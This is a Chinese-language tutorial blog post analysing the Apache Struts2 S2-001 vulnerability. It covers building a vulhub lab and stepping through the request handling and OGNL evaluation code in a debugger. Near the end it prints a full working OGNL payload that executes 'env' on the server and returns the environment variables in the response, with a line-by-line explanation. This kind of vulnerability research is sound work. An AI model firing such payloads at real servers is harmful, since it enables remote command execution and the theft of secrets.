Struts2-001 漏洞环境搭建与调试分析
本文详细介绍了 Struts2-001 漏洞的环境搭建、请求处理流程调试及漏洞利用的深入分析,帮助读者理解其原理与调试方法。
- 网络安全
- Java安全
Struts2-001
Strusts下载链接,可以使用vulhub
代码调试环境搭建
本文采用项目一般启动方式,也可以直接使用vulhub运行docker环境之后进行jvm远程调试。
新建项目

目录结构如下所示:

将vulhub中s2-001的代码粘贴覆盖到webapp目录中

添加项目库(右键--->添加为库),这样才能代码调试

设置断点,启动调试tomcat:

关闭所有断点,执行剩余代码,尝试是否正常运行:


网络请求调试(对请求不感兴趣的可以不看)
根据web.xml配置
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
这是一个过滤器,会过滤我们的请求(通过执行org.apache.struts2.dispatcher.FilterDispatcher类的doFilter进行过滤),我们先跟踪这里:


doFilter:
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest)req;
HttpServletResponse response = (HttpServletResponse)res;
ServletContext servletContext = this.getServletContext();
String timerKey = "FilterDispatcher_doFilter: ";
try {
UtilTimerStack.push(timerKey);
request = this.prepareDispatcherAndWrapRequest(request, response);
ActionMapping mapping;
try {
mapping = actionMapper.getMapping(request, this.dispatcher.getConfigurationManager());
} catch (Exception ex) {
LOG.error("error getting ActionMapping", ex);
this.dispatcher.sendError(request, response, servletContext, 500, ex);
return;
}
if (mapping == null) {
String resourcePath = RequestUtils.getServletPath(request);
if ("".equals(resourcePath) && null != request.getPathInfo()) {
resourcePath = request.getPathInfo();
}
if (serveStatic && resourcePath.startsWith("/struts")) {
String name = resourcePath.substring("/struts".length());
this.findStaticResource(name, request, response);
} else {
chain.doFilter(request, response);
}
} else {
this.dispatcher.serviceAction(request, response, servletContext, mapping);
}
} finally {
try {
ActionContextCleanUp.cleanUp(req);
} finally {
UtilTimerStack.pop(timerKey);
}
}
}
- 先获取请求,创建ServletContext(获取当前 Servlet 的上下文(
ServletContext),用于在后续的操作中访问应用程序的环境信息)。 - 进行
prepareDispatcherAndWrapRequest处理:- 代码先进行初始化Dispatcher(管理请求分发和处理请求),
- 之后WrapRequest进行请求包装,对
multipart/form-data类型的请求进行特殊处理(处理文件上传等,可以跟进代码查看如何parse,这里不再跟进)。 - 之后返回请求。
- 获取ActionMapping,根据当前请求获取相应的ActionMapping(这里进行解析url并找到对应的Action类),ActionMapping描述了请求映射到哪个Action类以及这个Action类如何配置。如果在获取
ActionMapping时发生异常,日志会记录该错误,并且调用sendError方法向客户端发送 500 错误响应。

-
如果没有找到对应的action映射,这解析路径,查看是否为静态资源请求,如果也不是静态资源请求那么传递给下一个过滤器。
-
如果找到Mapping,则执行ServiceAction
-
最后清理上下文,并结束计时。
接下来我们跟踪serviceAction:
public void serviceAction(HttpServletRequest request, HttpServletResponse response, ServletContext context, ActionMapping mapping) throws ServletException {
Map<String, Object> extraContext = this.createContextMap(request, response, mapping, context);
ValueStack stack = (ValueStack)request.getAttribute("struts.valueStack");
if (stack != null) {
extraContext.put("com.opensymphony.xwork2.util.ValueStack.ValueStack", ValueStackFactory.getFactory().createValueStack(stack));
}
String timerKey = "Handling request from Dispatcher";
try {
UtilTimerStack.push(timerKey);
String namespace = mapping.getNamespace();
String name = mapping.getName();
String method = mapping.getMethod();
Configuration config = this.configurationManager.getConfiguration();
ActionProxy proxy = ((ActionProxyFactory)config.getContainer().getInstance(ActionProxyFactory.class)).createActionProxy(namespace, name, extraContext, true, false);
proxy.setMethod(method);
request.setAttribute("struts.valueStack", proxy.getInvocation().getStack());
if (mapping.getResult() != null) {
Result result = mapping.getResult();
result.execute(proxy.getInvocation());
} else {
proxy.execute();
}
if (stack != null) {
request.setAttribute("struts.valueStack", stack);
}
} catch (ConfigurationException e) {
LOG.error("Could not find action or result", e);
this.sendError(request, response, context, 404, e);
} catch (Exception e) {
throw new ServletException(e);
} finally {
UtilTimerStack.pop(timerKey);
}
}
-
先创建一个用于执行 Action 的上下文信息 (
extraContext),跟进去查看下源码,都是一些请求参数session等放在这里面,以及上面的servletContext也被放在里面了 -
获取ValueStack,检查是否存在请求中如果不存在,那么创建一个放进
extraContext -
获取 Action 的名称、命名空间和方法
-
namespace:Action 的命名空间(之后可以看看是啥样的)。 -
name:Action 的名称,即类名。 -
method:Action 中要调用的方法名。 -
获取配置并创建ActionProxy:
Configuration:获取配置管理器的配置对象。ActionProxyFactory:通过ActionProxyFactory创建一个ActionProxy对象,ActionProxy是执行 Action 的核心对象。它负责实际执行 Action,调用其方法,并处理结果。

-
将当前Action执行的ValueStack存储在请求中
-
mapping.getResult():检查ActionMapping是否有指定的Result对象。如果有,执行该Result,通常是根据结果类型(如视图、重定向等)返回相应的响应。proxy.execute():如果没有指定特定的Result,则直接执行ActionProxy,通过调用 Action 的方法来处理请求。(之后可以跟进会执行invocation的invoke方法,之后执行所有的Interception,最后执行下面的executeresult,最后执行ServeletDispatcherResult)


这里dispatcher.forward就是将请求和回复发送到其他页面
之前是一些请求处理流程,接下来返回渲染jsp时存在利用点:
漏洞利用调试
下面是页面代码
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://struts.apache.org/docs/s2-001.html">https://struts.apache.org/docs/s2-001.html</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>
-
注册标签库
<%@ taglib prefix="s" uri="/struts-tags" %>通过注册标签库来告诉 JSP 容器如何处理这些标签(前缀为s的标签)。相关的
struts-tags.tld文件定义了标签及其处理类.
-
标签类实现
以TextFieldTag类为例:
public class TextFieldTag extends AbstractUITag { private static final long serialVersionUID = 5811285953670562288L; protected String maxlength; protected String readonly; protected String size; public TextFieldTag() { } public Component getBean(ValueStack stack, HttpServletRequest req, HttpServletResponse res) { return new TextField(stack, req, res); } protected void populateParams() { super.populateParams(); TextField textField = (TextField)this.component; textField.setMaxlength(this.maxlength); textField.setReadonly(this.readonly); textField.setSize(this.size); } /** @deprecated */ public void setMaxLength(String maxlength) { this.maxlength = maxlength; } public void setMaxlength(String maxlength) { this.maxlength = maxlength; } public void setReadonly(String readonly) { this.readonly = readonly; } public void setSize(String size) { this.size = size; } } -
处理标签流程
-
jsp容器读取标签库(uri=“/struts-tags”)
-
解析标签库(寻找对应的struts-tags.tld)文件,
textField标签对应的TextFieldTag类<s:textfield name="username" label="username" /> -
标签转发到 Struts2 的 TagSupport 类
Struts2 会创建标签的处理类实例(如
FormTag)并调用其doStartTag()和doEndTag()方法。标签的属性(如action、method)会传递到标签类中。 -
执行标签逻辑,渲染输出
-
-
那么现在跟进TextFiledTag类,找到对应的
doStartTag()和doEndTag()方法找到继承的父类:
public abstract class ComponentTagSupport extends StrutsBodyTagSupport { protected Component component; public ComponentTagSupport() { } public abstract Component getBean(ValueStack var1, HttpServletRequest var2, HttpServletResponse var3); public int doEndTag() throws JspException { this.component.end(this.pageContext.getOut(), this.getBody()); this.component = null; return 6; } public int doStartTag() throws JspException { this.component = this.getBean(this.getStack(), (HttpServletRequest)this.pageContext.getRequest(), (HttpServletResponse)this.pageContext.getResponse()); Container container = Dispatcher.getInstance().getContainer(); container.inject(this.component); this.populateParams(); boolean evalBody = this.component.start(this.pageContext.getOut()); if (evalBody) { return this.component.usesBody() ? 2 : 1; } else { return 0; } } protected void populateParams() { this.component.setId(this.id); } public Component getComponent() { return this.component; } }我们在doEndTag设置断点,之后在执行完上面的dispatchForward之后会执行到这里:


跟进evaluateParams方法:
public void evaluateParams() { this.addParameter("templateDir", this.getTemplateDir()); this.addParameter("theme", this.getTheme()); String name = null; if (this.key != null) { if (this.name == null) { this.name = this.key; } if (this.label == null) { this.label = "%{getText('" + this.key + "')}"; } } if (this.name != null) { name = this.findString(this.name); this.addParameter("name", name); } if (this.label != null) { this.addParameter("label", this.findString(this.label)); } if (this.labelPosition != null) { this.addParameter("labelposition", this.findString(this.labelPosition)); } if (this.requiredposition != null) { this.addParameter("requiredposition", this.findString(this.requiredposition)); } if (this.required != null) { this.addParameter("required", this.findValue(this.required, Boolean.class)); } if (this.disabled != null) { this.addParameter("disabled", this.findValue(this.disabled, Boolean.class)); } if (this.tabindex != null) { this.addParameter("tabindex", this.findString(this.tabindex)); } if (this.onclick != null) { this.addParameter("onclick", this.findString(this.onclick)); } if (this.ondblclick != null) { this.addParameter("ondblclick", this.findString(this.ondblclick)); } if (this.onmousedown != null) { this.addParameter("onmousedown", this.findString(this.onmousedown)); } if (this.onmouseup != null) { this.addParameter("onmouseup", this.findString(this.onmouseup)); } if (this.onmouseover != null) { this.addParameter("onmouseover", this.findString(this.onmouseover)); } if (this.onmousemove != null) { this.addParameter("onmousemove", this.findString(this.onmousemove)); } if (this.onmouseout != null) { this.addParameter("onmouseout", this.findString(this.onmouseout)); } if (this.onfocus != null) { this.addParameter("onfocus", this.findString(this.onfocus)); } if (this.onblur != null) { this.addParameter("onblur", this.findString(this.onblur)); } if (this.onkeypress != null) { this.addParameter("onkeypress", this.findString(this.onkeypress)); } if (this.onkeydown != null) { this.addParameter("onkeydown", this.findString(this.onkeydown)); } if (this.onkeyup != null) { this.addParameter("onkeyup", this.findString(this.onkeyup)); } if (this.onselect != null) { this.addParameter("onselect", this.findString(this.onselect)); } if (this.onchange != null) { this.addParameter("onchange", this.findString(this.onchange)); } if (this.accesskey != null) { this.addParameter("accesskey", this.findString(this.accesskey)); } if (this.cssClass != null) { this.addParameter("cssClass", this.findString(this.cssClass)); } if (this.cssStyle != null) { this.addParameter("cssStyle", this.findString(this.cssStyle)); } if (this.title != null) { this.addParameter("title", this.findString(this.title)); } if (this.parameters.containsKey("value")) { this.parameters.put("nameValue", this.parameters.get("value")); } else if (this.evaluateNameValue()) { Class valueClazz = this.getValueClassType(); if (valueClazz != null) { if (this.value != null) { this.addParameter("nameValue", this.findValue(this.value, valueClazz)); } else if (name != null) { String expr = name; if (this.altSyntax()) { expr = "%{" + name + "}"; } this.addParameter("nameValue", this.findValue(expr, valueClazz)); } } else if (this.value != null) { this.addParameter("nameValue", this.findValue(this.value)); } else if (name != null) { this.addParameter("nameValue", this.findValue(name)); } } Form form = (Form)this.findAncestor(Form.class); this.populateComponentHtmlId(form); if (form != null) { this.addParameter("form", form.getParameters()); if (name != null) { List tags = (List)form.getParameters().get("tagNames"); tags.add(name); } } if (this.tooltipConfig != null) { this.addParameter("tooltipConfig", this.findValue(this.tooltipConfig)); } if (this.tooltip != null) { this.addParameter("tooltip", this.findString(this.tooltip)); Map tooltipConfigMap = this.getTooltipConfig(this); if (form != null) { form.addParameter("hasTooltip", Boolean.TRUE); Map overallTooltipConfigMap = this.getTooltipConfig(form); overallTooltipConfigMap.putAll(tooltipConfigMap); for(Map.Entry entry : overallTooltipConfigMap.entrySet()) { this.addParameter((String)entry.getKey(), entry.getValue()); } } else { LOG.warn("No ancestor Form found, javascript based tooltip will not work, however standard HTML tooltip using alt and title attribute will still work "); } } this.evaluateExtraParams(); }前面都是些赋值操作,通过调试这些属性大多不是我们可控的,但是在调试过程执行的时候我们会看到有findValue函数,跟进看看:
protected Object findValue(String expr, Class toType) { if (this.altSyntax() && toType == String.class) { return TextParseUtil.translateVariables('%', expr, this.stack); } else { if (this.altSyntax() && expr.startsWith("%{") && expr.endsWith("}")) { expr = expr.substring(2, expr.length() - 1); } return this.getStack().findValue(expr, toType); } }
跟着调试的步骤 我们进入了if语句里面,再跟进去看看


public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) { Object result = expression; while(true) { int start = expression.indexOf(open + "{"); int length = expression.length(); int x = start + 2; int count = 1; while(start != -1 && x < length && count != 0) { char c = expression.charAt(x++); if (c == '{') { ++count; } else if (c == '}') { --count; } } int end = x - 1; if (start == -1 || end == -1 || count != 0) { return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType); } String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); if (evaluator != null) { o = evaluator.evaluate(o); } String left = expression.substring(0, start); String right = expression.substring(end + 1); if (o != null) { if (TextUtils.stringSet(left)) { result = left + o; } else { result = o; } if (TextUtils.stringSet(right)) { result = result + right; } expression = left + o + right; } else { result = left + right; expression = left + right; } } }这个函数大体看一下会解析变量 ,并且是一个死循环,只有一个return语句,就是当字符串不存在
{的时候会返回最后的结果。继续跟进,直到:

接下来跟进
findValue:

执行之后会获取值,并直接返回。这个值是我们可控的,那么这个时候,返回之后,由于程序是一个死循环,会一直检查表达式中是否有
{}存在,

-
继续跟进findValue

之后通过getValue获取到表达式的执行结果:

最后直接返回:

最后表达式为2退出while循环。
-
找一些payload:
根据代码:
public static Object getValue(Object tree, Map context, Object root, Class resultType) throws OgnlException { OgnlContext ognlContext = (OgnlContext)addDefaultContext(root, context); Object result = ((Node)tree).getValue(ognlContext, root); if (resultType != null) { result = getTypeConverter(context).convertValue(context, root, (Member)null, (String)null, result, resultType); } return result; }最后执行的是Ognl表达式:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}解释:
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(), #f.getWriter().close() }- 创建并执行进程
#a = (new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start()ProcessBuilder是用于创建和启动本地操作系统进程的类。这里,它启动了一个新的进程来执行命令env,该命令输出当前系统的环境变量。redirectErrorStream(true)会将标准错误流和标准输出流合并,这样所有的输出都可以通过同一个流来读取。start()启动进程并返回一个Process对象。- 获取进程输出
#b=#a.getInputStream()#a.getInputStream()获取该进程的标准输出流。也就是env命令的输出内容- 读取进程输出
#c = new java.io.InputStreamReader(#b)#b是进程的输入流(即标准输出流),InputStreamReader是一个将字节流转换为字符流的类,它将#b包装成字符流#c。#d = new java.io.BufferedReader(#c)BufferedReader是一个用于高效读取字符流的类,#c被包装成BufferedReader以便更方便地逐行读取输入流。#e = new char[50000], #d.read(#e),#e是一个字符数组,用于存储从BufferedReader中读取的环境变量数据。读取进程的输出流内容并将其存储到字符数组#e中。#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(), #f.getWriter().close()从 OGNL 上下文中获取
HttpServletResponse对象。HttpServletResponse用于向客户端返回响应。#f.getWriter()获取HttpServletResponse的PrintWriter,它用于向客户端输出数据。new java.lang.String(#e)将字符数组#e转换成字符串,输出到客户端。flush()方法将PrintWriter中缓冲的内容写入响应流中。close()关闭输出流。S2-005
Struts2 在解析参数时,将所有参数名都使用了 OGNL 来解析,构成了这个漏洞。
留言讨论
0 条留言
正在加载留言...